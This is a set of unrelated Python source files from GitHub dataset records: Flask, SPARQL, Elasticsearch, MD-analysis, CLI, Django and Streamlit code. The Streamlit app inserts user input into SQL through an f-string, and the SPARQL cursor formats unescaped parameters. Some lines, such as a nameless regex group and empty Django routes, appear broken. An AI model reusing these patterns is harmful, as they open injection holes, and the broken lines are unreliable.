order_to_update=Order.get_by_id(order_id)\n\n        order_to_update.order_status=data['order_status']\n\n        db.session.commit()\n\n        return order_to_update ,HTTPStatus.OK\n\n\n\n\n\n        \n\n\n\n\n\n", "repo_name": "jod35/Build-And-Deploy-A-REST-API-With-Flask", "sub_path": "api/orders/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 5416, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 16, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask_restx.Namespace", "line_number": 10, "usage_type": "call"}, {"api_name": "flask_restx.fields.Integer", "line_number": 16, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 16, "usage_type": "name"}, {"api_name": "flask_restx.fields.String", "line_number": 17, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 17, "usage_type": "name"}, {"api_name": "flask_restx.fields.String", "line_number": 20, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 20, "usage_type": "name"}, {"api_name": "flask_restx.fields.String", "line_number": 28, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 28, "usage_type": "name"}, {"api_name": "flask_restx.Resource", "line_number": 34, "usage_type": "name"}, {"api_name": "models.orders.Order.query.all", "line_number": 45, "usage_type": "call"}, {"api_name": "models.orders.Order.query", "line_number": 45, "usage_type": "attribute"}, {"api_name": "models.orders.Order", "line_number": 45, "usage_type": "name"}, {"api_name": "http.HTTPStatus.OK", "line_number": 47, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 47, "usage_type": "name"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 40, "usage_type": "call"}, {"api_name": "flask_jwt_extended.get_jwt_identity", "line_number": 60, "usage_type": "call"}, {"api_name": "models.users.User.query.filter_by", "line_number": 63, "usage_type": "call"}, {"api_name": "models.users.User.query", "line_number": 63, "usage_type": "attribute"}, {"api_name": "models.users.User", "line_number": 63, "usage_type": "name"}, {"api_name": "models.orders.Order", "line_number": 68, "usage_type": "call"}, {"api_name": "http.HTTPStatus.CREATED", "line_number": 78, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 78, "usage_type": "name"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 54, "usage_type": "call"}, {"api_name": "flask_restx.Resource", "line_number": 81, "usage_type": "name"}, {"api_name": "models.orders.Order.get_by_id", "line_number": 95, "usage_type": "call"}, {"api_name": "models.orders.Order", "line_number": 95, "usage_type": "name"}, {"api_name": "http.HTTPStatus.OK", "line_number": 98, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 98, "usage_type": "name"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 90, "usage_type": "call"}, {"api_name": "models.orders.Order.get_by_id", "line_number": 117, "usage_type": "call"}, {"api_name": "models.orders.Order", "line_number": 117, "usage_type": "name"}, {"api_name": "utils.db.db.session.commit", "line_number": 125, "usage_type": "call"}, {"api_name": "utils.db.db.session", "line_number": 125, "usage_type": "attribute"}, {"api_name": "utils.db.db", "line_number": 125, "usage_type": "name"}, {"api_name": "http.HTTPStatus.OK", "line_number": 127, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 127, "usage_type": "name"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 109, "usage_type": "call"}, {"api_name": "models.orders.Order.get_by_id", "line_number": 144, "usage_type": "call"}, {"api_name": "models.orders.Order", "line_number": 144, "usage_type": "name"}, {"api_name": "http.HTTPStatus.NO_CONTENT", "line_number": 148, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 148, "usage_type": "name"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 131, "usage_type": "call"}, {"api_name": "flask_restx.Resource", "line_number": 152, "usage_type": "name"}, {"api_name": "models.users.User.get_by_id", "line_number": 170, "usage_type": "call"}, {"api_name": "models.users.User", "line_number": 170, "usage_type": "name"}, {"api_name": "models.orders.Order.query.filter_by", "line_number": 172, "usage_type": "call"}, {"api_name": "models.orders.Order.query", "line_number": 172, "usage_type": "attribute"}, {"api_name": "models.orders.Order", "line_number": 172, "usage_type": "name"}, {"api_name": "http.HTTPStatus.OK", "line_number": 174, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 174, "usage_type": "name"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 162, "usage_type": "call"}, {"api_name": "flask_restx.Resource", "line_number": 177, "usage_type": "name"}, {"api_name": "models.users.User.get_by_id", "line_number": 192, "usage_type": "call"}, {"api_name": "models.users.User", "line_number": 192, "usage_type": "name"}, {"api_name": "http.HTTPStatus.OK", "line_number": 196, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 196, "usage_type": "name"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 186, "usage_type": "call"}, {"api_name": "flask_restx.Resource", "line_number": 201, "usage_type": "name"}, {"api_name": "models.orders.Order.get_by_id", "line_number": 219, "usage_type": "call"}, {"api_name": "models.orders.Order", "line_number": 219, "usage_type": "name"}, {"api_name": "utils.db.db.session.commit", "line_number": 223, "usage_type": "call"}, {"api_name": "utils.db.db.session", "line_number": 223, "usage_type": "attribute"}, {"api_name": "utils.db.db", "line_number": 223, "usage_type": "name"}, {"api_name": "http.HTTPStatus.OK", "line_number": 225, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 225, "usage_type": "name"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 211, "usage_type": "call"}]}
{"seq_id": "12001025333", "text": "#!/usr/bin/env python\n#\n# implements Python DBAPI 2.0\n# see PEP 249 (http://www.python.org/dev/peps/pep-0249/)\nimport re\nimport base64\nimport decimal\n\nfrom SPARQLWrapper.Wrapper import SELECT, INSERT, DELETE, MODIFY\n# CONSTRUCT\n# ASK\n# DESCRIBE\n\n\nclass Error(Exception):\n    pass\n\n\nclass SparqlSyntaxError(Exception):\n    def __init__(self, message, line=None):\n        self.message = message\n        self.line = line\n\n\nclass DatabaseError(Error):\n    pass\n\n\nclass ProgrammingError(DatabaseError):\n    def __init__(self, msg, **kwargs):\n        DatabaseError.__init__(self, msg)\n\n\nclass Cursor(object):\n    def __init__(self, connection, prefixes=''):\n        self.arraysize = 100\n        self.connection = connection\n        self.sparql = None\n        self.results = None\n        self.pointer = 0\n        self.prefixes = prefixes\n        self.rowcount = -1\n\n    def __iter__(self):\n        result = self.pointer and self.results[self.pointer:] or self.results\n        return iter(result)\n\n    def _desc(self):\n        #(name, type_code, display_size, internal_size, precision, scale, null_ok)\n        #first two are required, supply None for optional values\n        if not self.results:\n            return None\n\n        if len(self.results) == 0:\n            return None\n\n        desc = []\n        cols = [self.results.get_binding_name(i) for i in range(self.results.get_bindings_count())]\n        for col in cols:\n            desc_col = (col, literal_datatype(self.results.get_binding_value_by_name(col)), None, None, None, None, None)\n            desc.append(desc_col)\n        return desc\n\n        #if no return values, or nothing executed\n        return None\n    description = property(_desc)\n\n    def close(self):\n        pass\n\n    def _escape_param(self, param):\n        # if type(param) in typeToSchema:\n        #     return '%s^^%s' % (param, typeToSchema[type(param)])\n        if isinstance(param, (str, unicode)):\n            return '%s' % param\n        return unicode(param)\n\n    def escape_params(self, parameters):\n        #for dict, return dict\n        if isinstance(parameters, dict):\n            params = {}\n            for k, v in parameters.iteritems():\n                params[k] = self._escape_param(v)\n            return params\n        #for sequence, return tuple\n        params = []\n        for p in parameters:\n            params.append(self._escape_param(p))\n        return tuple(params)\n\n    def execute(self, sparql, params=[]):\n        params = self.escape_params(params)\n        sparql = '%s %s' % (' '.join(self.prefixes), sparql)\n        self.sparql = sparql % params\n        self.connection.setQuery(self.sparql)\n        self.results = self.connection.query().convert()[\"results\"][\"bindings\"]\n        self.update_rowcount()\n\n    def update_rowcount(self):\n        if self.connection.queryType == SELECT:\n            self.rowcount = len(self.results)\n        elif self.connection.queryType == INSERT \\\n        or self.connection.queryType == DELETE:\n            message = self.results[0]['callret-0']['value']\n            finder = re.search('(?P\\d).*triples', message).groupdict()\n            self.rowcount = int(finder['number'])\n        elif self.connection.queryType == MODIFY:\n            message = self.results[0]['callret-0']['value']\n            finder = re.search('delete (?P\\d).*insert (?P\\d)', message).groupdict()\n            deleted = int(finder['deleted'])\n            inserted = int(finder['inserted'])\n            self.rowcount = deleted or inserted\n        else:\n            raise NotImplementedError(\"Type %s cannot get a rowcount\" % self.connection.queryType)\n\n    def executemany(self, operation, seq_of_parameters):\n        raise NotImplementedError('executemany need to implemented')\n\n    # def next(self):\n    #     row = self.fetchone()\n    #     if row is None:\n    #         raise StopIteration\n    #     return row\n\n    def fetchone(self):\n        if self.pointer >= len(self.results):\n            return None\n        result = self.results[self.pointer]\n        self.pointer += 1\n        return _rowfactory(result)\n\n    def fetchmany(self, size=None):\n        end = self.pointer + (size or self.arraysize)\n        results = self.results[self.pointer:end]\n        self.pointer = min(end, len(self.results))\n        return tuple([\n            _rowfactory(r) for r in results\n        ])\n\n    def fetchall(self):\n        if self.pointer:\n            results = self.results[self.pointer:]\n        else:\n            results = self.results\n        self.pointer = len(self.results)\n        return tuple([\n            _rowfactory(r) for r in results\n        ])\n\n    def dictfetchone(self):\n        if not self.results:\n            return None\n        return self.results[0]\n\n    def nextset(self):\n        return None\n\n    def setinputsizes(self):\n        pass\n\n    def setoutputsize(self, size, column=None):\n        pass\n\n\ndef _rowfactory(row):\n    return tuple([(key, value['value']) for key, value in row.items()])\n\n\ndef literal_datatype(node):\n    if not node.is_literal():\n        return None\n    dt = node.literal_value['datatype']\n    if dt:\n        return unicode(dt)\n    return u'http://www.w3.org/2001/XMLSchema#string'\n\ntypeToSchema = {\n    unicode: '',\n    bool: '',\n    decimal: '',\n    int: '',\n    long: '',\n    float: '',\n    base64: '',\n}\n\n\nSchemaToPython = {  # (schema->python, python->schema)  Does not validate.\n    'http://www.w3.org/2001/XMLSchema#string': (unicode, unicode),\n    'http://www.w3.org/2001/XMLSchema#normalizedString': (unicode, unicode),\n    'http://www.w3.org/2001/XMLSchema#token': (unicode, unicode),\n    'http://www.w3.org/2001/XMLSchema#language': (unicode, unicode),\n    'http://www.w3.org/2001/XMLSchema#boolean': (bool, lambda i: unicode(i).lower()),\n    'http://www.w3.org/2001/XMLSchema#decimal': (decimal.Decimal, unicode),\n    'http://www.w3.org/2001/XMLSchema#integer': (int, unicode),\n    'http://www.w3.org/2001/XMLSchema#nonPositiveInteger': (int, unicode),\n    'http://www.w3.org/2001/XMLSchema#long': (long, unicode),\n    'http://www.w3.org/2001/XMLSchema#nonNegativeInteger': (int, unicode),\n    'http://www.w3.org/2001/XMLSchema#negativeInteger': (int, unicode),\n    'http://www.w3.org/2001/XMLSchema#int': (int, unicode),\n    'http://www.w3.org/2001/XMLSchema#unsignedLong': (long, unicode),\n    'http://www.w3.org/2001/XMLSchema#positiveInteger': (int, unicode),\n    'http://www.w3.org/2001/XMLSchema#short': (int, unicode),\n    'http://www.w3.org/2001/XMLSchema#unsignedInt': (long, unicode),\n    'http://www.w3.org/2001/XMLSchema#byte': (int, unicode),\n    'http://www.w3.org/2001/XMLSchema#unsignedShort': (int, unicode),\n    'http://www.w3.org/2001/XMLSchema#unsignedByte': (int, unicode),\n    'http://www.w3.org/2001/XMLSchema#float': (float, unicode),\n    'http://www.w3.org/2001/XMLSchema#double': (float, unicode),  # doesn't do the whole range\n#    duration\n#    dateTime\n#    time\n#    date\n#    gYearMonth\n#    gYear\n#    gMonthDay\n#    gDay\n#    gMonth\n#    hexBinary\n    'http://www.w3.org/2001/XMLSchema#base64Binary': (base64.decodestring, lambda i: base64.encodestring(i)[:-1]),\n    'http://www.w3.org/2001/XMLSchema#anyURI': (str, str),\n}\n", "repo_name": "rfloriano/semantic-django", "sub_path": "semantic/rdf/backends/virtuoso/dbapi.py", "file_name": "dbapi.py", "file_ext": "py", "file_size_in_byte": 7484, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "71", "api": [{"api_name": "SPARQLWrapper.Wrapper.SELECT", "line_number": 100, "usage_type": "name"}, {"api_name": "SPARQLWrapper.Wrapper.INSERT", "line_number": 102, "usage_type": "name"}, {"api_name": "SPARQLWrapper.Wrapper.DELETE", "line_number": 103, "usage_type": "name"}, {"api_name": "re.search", "line_number": 105, "usage_type": "call"}, {"api_name": "SPARQLWrapper.Wrapper.MODIFY", "line_number": 107, "usage_type": "name"}, {"api_name": "re.search", "line_number": 109, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 194, "usage_type": "attribute"}, {"api_name": "base64.decodestring", "line_number": 220, "usage_type": "attribute"}, {"api_name": "base64.encodestring", "line_number": 220, "usage_type": "call"}]}
{"seq_id": "40649643684", "text": "# This script computes the mutual information (MI) from the covariance between atomic displacements\n\nimport numpy as np\nimport time\nfrom numpy import linalg as LA\nimport csv\nimport exclusion as ex\nimport MDAnalysis as mda\nimport MDAnalysis.analysis.encore.covariance as covar\nimport MDAnalysis.analysis.pca as pca\nimport covariance as covar\n\n#_______________________________________\n# INPUTS\nstructure_file = '/gpfs/scratch60/fas/batista/pd455/omcs_structure/2chains/fully_ox/CNA/matrix_calculation/extract_protein/myprot_reference_ox.psf'\ndcd_trajectory = '/gpfs/scratch60/fas/batista/pd455/omcs_structure/2chains/fully_ox/CNA/matrix_calculation/extract_protein/trunc_prot_only_traj_ox.dcd'\n#______________________________________\n\n\ndef MI(covar_matrix,natoms):\n\t# This function computes the linear mutual information matrix\n\tprint('computing linear mutual information matrix\\n')\n\ttwobodycorr = np.zeros([natoms,natoms])\n\tfor i in range(0,natoms):\n\t\ttemp = mat_det(covar_matrix,i,i,3)\n\t\tfor j in range(0,i):\n\t\t\ttemp1 = mat_det(covar_matrix,j,j,3)\n\t\t\ttemp2 = mat_det(covar_matrix,i,j,6)\n\t\t\ttemp3 = temp*temp1/temp2\n\t\t\ttemp3 = np.log(temp3)\n\t\t\ttwobodycorr[i,j]=temp3\n\t\t\ttwobodycorr[j,i] = twobodycorr[i,j]\n\ttwobodycorr = 0.5 * twobodycorr\n\n\treturn twobodycorr\n\n\ndef gen_corr(LMI_matrix,natoms,cen=None):\n\t# This function converts the linear mutual information into the generalized\n\t# correlation coefficient\n\tprint('computing general correlation matrix\\n')\n\tfileOUT = open('g_corr_list.txt','w')\n\tmatOUT = open('g_corr_mat.txt','w')\n\n\tfor j in range(0,natoms):\n\t\tfor i in range(0,j):\n\t\t\tLMI_matrix[i,j] = 1.0 - np.exp((-2.0/3.0) * LMI_matrix[i,j])\n\t\t\tLMI_matrix[i,j] = np.sqrt(LMI_matrix[i,j])\n\t\t\tLMI_matrix[j,i] = LMI_matrix[i,j]\n\t\t\tprint('%s\t%s\t%.3f' % (i,j,LMI_matrix[i,j]),file=fileOUT)\n\t\tLMI_matrix[j,j] = 1.0\n\n\t# Write general correlation matrix\n\tprint(\"%s\\n\" % natoms,file=matOUT)\n\twith matOUT as f:\n\t\tcsv_writer = csv.writer(f,delimiter = ' ')\n\t\tcsv_writer.writerows(LMI_matrix)\n\n\tmatOUT.close()\n\n\tif cen:\n\t\tcentrality(LMI_matrix,natoms)\n\t\t\n\t\n\t\t\t\ndef mat_det(covar_matrix,ii,jj,n):\t\n\tmatrix = np.zeros([n,n])\n\tl = 1\n\tif n == 6:\n\t\tfor i in range(0,3):\n\t\t\tfor j in range(0,3):\n\t\t\t\tmatrix[i,j]=covar_matrix[ii*3+i,ii*3+j]\n\t\t\t\tmatrix[i,j+3]=covar_matrix[ii*3+i,jj*3+j]\n\t\t\t\tmatrix[i+3,j]=covar_matrix[jj*3+i,ii*3+j]\n\t\t\t\tmatrix[i+3,j+3]=covar_matrix[jj*3+i,jj*3+j]\n\telif n == 3:\n\t\tfor i in range(0,3):\n\t\t\tfor j in range(0,3):\n\t\t\t\tmatrix[i,j]=covar_matrix[ii*3+i,jj*3+j]\n\t\n\tdeterminant = LA.det(matrix)\n\treturn determinant\n\n\ndef centrality(g_corr_mat,natoms):\n\tcenOUT = open('eigvec_centrality.txt','w')\n\t\n\t[evalues,evectors] = LA.eig(g_corr_mat)\n\tidx = evalues.argsort()[::-1]\n\tevalues = evalues[idx]\n\tprint(evalues[0])\n\tevectors = abs(evectors[:,idx])\n\tprint(evectors[0:10,0])\n\t\n\tfor i in range(natoms):\n\t\tsum_array = 0\n\t\tfor j in range(natoms):\n\t\t\tsum_array += g_corr_mat[i,j]*evectors[j,0]\n\t\tcen_value = (1.0/evalues[0]) * sum_array\n\t\tprint(\"%s       %s\" % (i,cen_value), file=cenOUT)\t\n\t\n\nstart = time.time()\n\n## Use MDAnalysis to compute the covariance matrix from your trajectory\nu = mda.Universe(structure_file,dcd_trajectory)\nnframes = len(u.trajectory)\n\n# compute the covariance matrix\nprint('computing covariance matrix\\n')\nselection = 'all'\nnatoms = len(u.select_atoms(selection))\n#print(natoms)\ncovar_matrix = covar.covariance(u,structure_file,selection)\n\n# compute the mutual information matrix from the covariance matrix\nLMI = MI(covar_matrix,natoms)\n\n# compute and output the general correlation matrix\ngen_corr(LMI,natoms,cen=True)\n\n# compute the exclusion list\nex.exclusion(u,nframes,selection=selection)\n\nend = time.time()\nprint('Done')\nprint('WallClock: %.6f' % (end-start))\n", "repo_name": "dahlpete/community-network-analysis", "sub_path": "g_correlation.py", "file_name": "g_correlation.py", "file_ext": "py", "file_size_in_byte": 3694, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.zeros", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 48, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.linalg.det", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 81, "usage_type": "name"}, {"api_name": "numpy.linalg.eig", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 88, "usage_type": "name"}, {"api_name": "time.time", "line_number": 103, "usage_type": "call"}, {"api_name": "MDAnalysis.Universe", "line_number": 106, "usage_type": "call"}, {"api_name": "covariance.covariance", "line_number": 114, "usage_type": "call"}, {"api_name": "exclusion.exclusion", "line_number": 123, "usage_type": "call"}, {"api_name": "time.time", "line_number": 125, "usage_type": "call"}]}
{"seq_id": "23491876716", "text": "import logging\n\nfrom cubicweb_francearchives.dataimport import es_bulk_index\n\nfrom cubicweb_elasticsearch.es import get_connection\n\n\ndef get_es_connection(cnx, index_name, log):\n    es = get_connection(\n        {\n            \"elasticsearch-locations\": cnx.vreg.config[\"elasticsearch-locations\"],\n            \"index-name\": index_name,\n            \"elasticsearch-verify-certs\": cnx.vreg.config[\"elasticsearch-verify-certs\"],\n            \"elasticsearch-ssl-show-warn\": cnx.vreg.config[\"elasticsearch-ssl-show-warn\"],\n        }\n    )\n    if es:\n        return es\n    if log:\n        log.error(\"-> no es connection.abort\")\n    else:\n        print(\"-> no es connection.abort\")\n\n\ndef delete_autority_from_es(cnx, eids, log=None):\n    \"\"\"Delete authorities from all es indexes\"\"\"\n\n    def docs_to_delete(es, eids, index_name):\n        if log:\n            log.info(\"es [%s]: deleting %s\", index_name, eids)\n        else:\n            print(f\"es [{index_name}]: deleting {eids}\")\n        for eid in eids:\n            yield {\n                \"_op_type\": \"delete\",\n                \"_index\": index_name,\n                \"_type\": \"_doc\",\n                \"_id\": eid,\n            }\n\n    config = cnx.vreg.config\n    indexes = [f\"{config['index-name']}_suggest\"]\n    if config.get(\"published-index-name\"):  # only in cms\n        indexes.append(f\"{config['published-index-name']}_suggest\")\n    if config[\"enable-kibana-indexes\"]:\n        indexes.append(config[\"kibana-authorities-index-name\"])\n    for index_name in indexes:\n        es = get_es_connection(cnx, index_name, log)\n        if not es:\n            return\n        es_docs = docs_to_delete(es, eids, index_name)\n        es_bulk_index(es, es_docs, raise_on_error=False)\n\n\ndef update_index_mapping(cnx, index_name, mapping, log=None):\n    if not log:\n        log = logging.getLogger(\"update_index_mapping\")\n    es = get_es_connection(cnx, index_name, log)\n    es.indices.put_mapping(index=index_name, body=mapping, doc_type=\"_doc\", include_type_name=True)\n", "repo_name": "culturecommunication/francearchives-cubicweb", "sub_path": "cubicweb_francearchives/esutils.py", "file_name": "esutils.py", "file_ext": "py", "file_size_in_byte": 1994, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cubicweb_elasticsearch.es.get_connection", "line_number": 9, "usage_type": "call"}, {"api_name": "cubicweb_francearchives.dataimport.es_bulk_index", "line_number": 52, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 57, "usage_type": "call"}]}
{"seq_id": "72998817181", "text": "import json\nimport sys\nfrom argparse import ArgumentParser\n\nimport jsonschema\n\nfrom pyrandall import commander\nfrom pyrandall.hookspecs import get_plugin_manager\nfrom pyrandall.spec import SpecBuilder\nfrom pyrandall.types import Flags\n\nFLAGS_MAP = {\n    \"simulate\": Flags.SIMULATE,\n    \"validate\": Flags.VALIDATE,\n    \"sanitytest\": Flags.VALIDATE,  # legacy command\n}\n\n\ndef run_command(config):\n    specfile = config.pop(\"specfile\")\n    config[\"default_request_url\"] = config[\"requests\"].pop(\"url\")\n\n    # register plugins and call their initialize\n    plugin_manager = get_plugin_manager()\n    plugin_manager.hook.pyrandall_initialize(config=config)\n\n    spec = SpecBuilder(specfile, hook=plugin_manager.hook, **config).feature()\n    flags = FLAGS_MAP[config[\"command\"]]\n    # commander handles execution flow with specified data and config\n    commander.Commander(spec, flags).invoke()\n\n\ndef add_common_args(parser):\n    parser.add_argument(\"specfile\", type=str, help=\"name of yaml file in scenario/\")\n\n\ndef setup_args():\n    parser = ArgumentParser(\n        description=\"pyrandall a test framework oriented around data validation instead of code\"\n    )\n    parser.add_argument(\n        \"--config\",\n        type=str,\n        default=\"pyrandall_config.json\",\n        dest=\"config_path\",\n        help=\"path to json file for pyrandall config.\",\n    )\n    parser.add_argument(\n        \"--dataflow\",\n        type=str,\n        required=True,\n        dest=\"dataflow_path\",\n        help=\"path to dataflow root directory\",\n    )\n\n    subparsers = parser.add_subparsers(dest=\"command\")\n    # add simulate subcommand\n    sim_parser = subparsers.add_parser(\"simulate\", help=\"run Simulator for specfile\")\n    add_common_args(sim_parser)\n    # add sanitycheck (legacy name)\n    san_parser = subparsers.add_parser(\n        \"sanitytest\", help=\"run Validate for specfile (Use validate command)\"\n    )\n    add_common_args(san_parser)\n    # add validate subcommand\n    val_parser = subparsers.add_parser(\"validate\", help=\"run Validate for specfile\")\n    add_common_args(val_parser)\n\n    return parser\n\n\ndef argparse_error(args_data):\n    msg = \"\"\"\n#######\nExit code was 2! Its assumed mocked arguments are wrong, see argparse usage below:\n\n\\t%s\n\nactual arguments passed to mock:\n\\t%s\n\n######\n\"\"\" % (\n        setup_args().format_help().replace(\"\\n\", \"\\n\\t\"),\n        args_data,\n    )\n    return msg\n\n\ndef load_config(fpath):\n    with open(fpath, \"r\") as f:\n        return json.load(f)\n\n\ndef start(argv, config=None):\n    parser = setup_args()\n    args_config = parser.parse_args(argv)\n\n    # TODO: add logging options\n    # with open(\"logging.yaml\") as log_conf_file:\n    #     log_conf = yaml.safe_load(log_conf_file)\n    #     dictConfig(log_conf)\n\n    if args_config.command is None:\n        parser.error(\"not a valid pyrandall command\")\n        exit(1)\n\n    if config is None:\n        config = load_config(args_config.config_path)\n\n    # overwrite with cli options\n    config.update(args_config.__dict__)\n\n    try:\n        run_command(config)\n    except jsonschema.exceptions.ValidationError:\n        print(\"Failed validating input yaml\")\n        exit(4)\n    exit(0)\n\n\ndef main():\n    start(sys.argv[1:])\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "kpn/pyrandall", "sub_path": "pyrandall/cli.py", "file_name": "cli.py", "file_ext": "py", "file_size_in_byte": 3231, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "69", "api": [{"api_name": "pyrandall.types.Flags.SIMULATE", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pyrandall.types.Flags", "line_number": 13, "usage_type": "name"}, {"api_name": "pyrandall.types.Flags.VALIDATE", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pyrandall.types.Flags", "line_number": 14, "usage_type": "name"}, {"api_name": "pyrandall.types.Flags.VALIDATE", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pyrandall.types.Flags", "line_number": 15, "usage_type": "name"}, {"api_name": "pyrandall.hookspecs.get_plugin_manager", "line_number": 24, "usage_type": "call"}, {"api_name": "pyrandall.spec.SpecBuilder", "line_number": 27, "usage_type": "call"}, {"api_name": "pyrandall.commander.Commander", "line_number": 30, "usage_type": "call"}, {"api_name": "pyrandall.commander", "line_number": 30, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 38, "usage_type": "call"}, {"api_name": "json.load", "line_number": 92, "usage_type": "call"}, {"api_name": "jsonschema.exceptions", "line_number": 116, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 123, "usage_type": "attribute"}]}
{"seq_id": "34749838746", "text": "from django.urls import include, path\n\nfrom .views import ModelViewSet\n\nmodel_list = ModelViewSet.as_view(\n    {\n        \"get\": \"list\",\n        \"post\": \"create\",\n        \"delete\": \"destroy_list\",\n        \"put\": \"update_list\",\n    }\n)\nmodel_details = ModelViewSet.as_view(\n    {\"get\": \"retrieve\", \"put\": \"update\", \"patch\": \"partial_update\", \"delete\": \"destroy\"}\n)\n\nurlpatterns = [\n    path(\"/\", model_list, name=\"model_api_model_list\"),\n    path(\"/\", model_details, name=\"model_api_model_details\"),\n]\n", "repo_name": "waqqas/toastmasters", "sub_path": "model_api/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 530, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "views.ModelViewSet.as_view", "line_number": 5, "usage_type": "call"}, {"api_name": "views.ModelViewSet", "line_number": 5, "usage_type": "name"}, {"api_name": "views.ModelViewSet.as_view", "line_number": 13, "usage_type": "call"}, {"api_name": "views.ModelViewSet", "line_number": 13, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}]}
{"seq_id": "37018105926", "text": "from urllib.error import URLError\n\nimport pandas as pd\nimport requests\nimport snowflake.connector\nimport streamlit\n\n\ndef requests_fruityvice(fruit: str):\n    URL: str = \"https://fruityvice.com/api/fruit/\"\n    try:\n        response: requests.Response = requests.get(f\"{URL}{fruit}\")\n        return pd.json_normalize(response.json())\n    except Exception as e:\n        return {\"error\": e}\n\n\ndef get_fruit_load():\n    with my_cnx.cursor() as my_cur:\n        my_cur.execute(\"SELECT * FROM FRUIT_LOAD_LIST\")\n        return my_cur.fetchall()\n\n\ndef insert_row_snoflake(new_fruit) -> str:\n    with my_cnx.cursor() as my_cur:\n        my_cur.execute(\n            f\"insert into PC_RIVERY_DB.PUBLIC.FRUIT_LOAD_LIST values ('{new_fruit}')\")\n        return f\"Thanks for adding {new_fruit}\"\n\n\nstreamlit.title(\"My parents new healthy diner\")\n\nstreamlit.header(\"Breakfest menu\")\nstreamlit.text(\"🥣 Omega 3 and Blueberry Oatmeal\")\nstreamlit.text(\"🥗 Kale, Spinach and Rocket smoothie\")\nstreamlit.text(\"🐔 Hard-Boiled Free-Range Egg\")\nstreamlit.text(\"🥑🍞 Avocado toast\")\n\nstreamlit.header('🍌🥭 Build Your Own Fruit Smoothie 🥝🍇')\n\n# creating dataframe and putting on the app\nmy_fruit_list: pd.DataFrame = pd.read_csv(\n    \"https://uni-lab-files.s3.us-west-2.amazonaws.com/dabw/fruit_macros.txt\")\nmy_fruit_list = my_fruit_list.set_index('Fruit')\n\n# Let's put a pick list here so they can pick the fruit they want to include\nfruits_selected = streamlit.multiselect(\"Pick some fruits:\", list(\n    my_fruit_list.index), [\"Avocado\", \"Strawberries\"])\n\n# Filtered df to show\ndf_to_show = my_fruit_list.loc[fruits_selected]\n\n# Display df\nstreamlit.dataframe(df_to_show)\n\n# New header\nstreamlit.header(\"Fruityvice Fruit Advice!\")\n\n# User input\ntry:\n    fruit_choice = streamlit.text_input(\n        'What fruit would you like information about?')\n    if not fruit_choice:\n        streamlit.error(\"Please select a fruit to get information.\")\n    else:\n        fruityvice_normalized = requests_fruityvice(fruit=fruit_choice)\n        streamlit.dataframe(fruityvice_normalized)\n\nexcept URLError as e:\n    streamlit.error(e)\n\nstreamlit.header(\"The fruit load list contains:\")\nif streamlit.button(\"Get Fruit Load List\"):\n    my_cnx = snowflake.connector.connect(**streamlit.secrets[\"snowflake\"])\n    my_data_rows = get_fruit_load()\n    my_cnx.close()\n    streamlit.dataframe(my_data_rows)\n\nsecond_fruit_choice = streamlit.text_input('What fruit do you  like to add?')\nif streamlit.button(\"Add a Fruit to the List\"):\n    if second_fruit_choice:\n        with snowflake.connector.connect(**streamlit.secrets[\"snowflake\"]) as my_cnx:\n            back_insert = insert_row_snoflake(new_fruit=second_fruit_choice)\n            streamlit.text(back_insert)\n    else:\n        streamlit.error(\"Please to input a valid name\")\n", "repo_name": "duartevitor-alt/first_streamlit_app", "sub_path": "streamlit_app.py", "file_name": "streamlit_app.py", "file_ext": "py", "file_size_in_byte": 2799, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "requests.Response", "line_number": 12, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 12, "usage_type": 